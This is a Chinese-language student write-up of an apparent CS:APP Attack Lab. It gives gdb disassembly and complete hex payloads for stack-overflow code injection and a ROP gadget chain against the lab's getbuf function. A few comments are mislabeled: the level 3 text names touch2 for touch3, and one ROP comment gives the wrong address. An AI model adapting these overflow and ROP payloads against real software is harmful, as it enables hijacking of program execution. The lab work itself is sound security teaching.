2018年6月

1.code injection attacks

代码注入攻击
利用gets等方法不检查读入串长度的性质攻击
给读入一个足够长的串,使其溢出给定的长度,进而达到修改栈中其他内容的目的

level 1

利用test函数的溢出,调用touch函数

void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
 }

先看一下getbuf中的内容

(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>: sub    $0x28,%rsp
   0x00000000004017ac <+4>: mov    %rsp,%rdi
   0x00000000004017af <+7>: callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq   
End of assembler dump.

开始时将rsp减少0x28,即需要一个长为0x28的串来溢出到指定位置
rsp在减小前指向getbuf函数返回的位置
溢出到指定位置后需要修改函数返回的位置
解码touch1

(gdb) disas touch1
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>: sub    $0x8,%rsp
   0x00000000004017c4 <+4>: movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:    mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:    callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:    mov    $0x1,%edi
   0x00000000004017dd <+29>:    callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:    mov    $0x0,%edi
   0x00000000004017e7 <+39>:    callq  0x400e40 <exit@plt>
End of assembler dump.

发现touch1的地址为0x4017c0
因此返回到0x4017c0位置
由于是little-endian,因此溢出位需要为 c0 17 40 00 00 00 00 00
只需用hex2raw将
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
转码即可

level 2

利用test的溢出,以参数cookie调用函数touch2

可以通过溢出构造一段二进制代码,然后用level1的方法跳转至这段代码
注意ret方法是跳转至栈顶的内存位置,然后弹出栈顶
因此可以在构造代码中修改函数参数rdi,然后利用ret跳转至touch2de
注入内容如下:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
b0 dc 61 55 00 00 00 00 /* 0x5561dcb0 */
ec 17 40 00 00 00 00 00 /* touch2 */
48 c7 c7 fa 97 b9 59 /* movq $0x59b997fa,%rdi */
c3 /* retq */

其中0x5561dcb0用于跳转之后汇编二进制代码处

level 3

同样利用test的溢出,传入touch3一个字符串指针,该字符串与cookie相等

构造字符串cookie,构造代码使rdi指向字符串位置,同理利用ret跳转至touch2
注入内容如下:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
b9 dc 61 55 00 00 00 00 /* 0x5561dcb9 */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 00 /* 0x59b997fa */
48 c7 c7 b0 dc 61 55 /* movq $0x5561dcb0,%rdi */
c3 /* retq */

栈设计为从大到小增长的好处在于,这样可以使输入的字符串在内存中是正序的。
而数字由于采用little-endian,因此需要倒叙输入

2. return-oriented programming

基于ret操作的构造攻击
retq操作在汇编中被编码为c3,可以将rip(当前运行位置)指向栈顶代表的地址并弹栈,可以利用这个性质在栈中构造一系列地址,依次运行

level 2

利用ROP实现level 2的目的
注意到farm中的这样两段代码:

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq   

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq   

注意到第二段中的 58 90 c3
其中 58 为 popq rax,90 为 nop (无操作),c3 为 retq
第一段中的 48 89 c7 c3
其中 48 89 c7 为 movq rax rdi
综合两段,可构造:
popq rax
movq rax rdi
只需在栈中加入所需的值,即可将rdi赋为所需的值
注入内容如下:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00 /* 0x4019ab */
fa 97 b9 59 00 00 00 00 /* 0x5561dcb9 */
a2 19 40 00 00 00 00 00 /* 0x4019a2 */
ec 17 40 00 00 00 00 00 /* touch2 */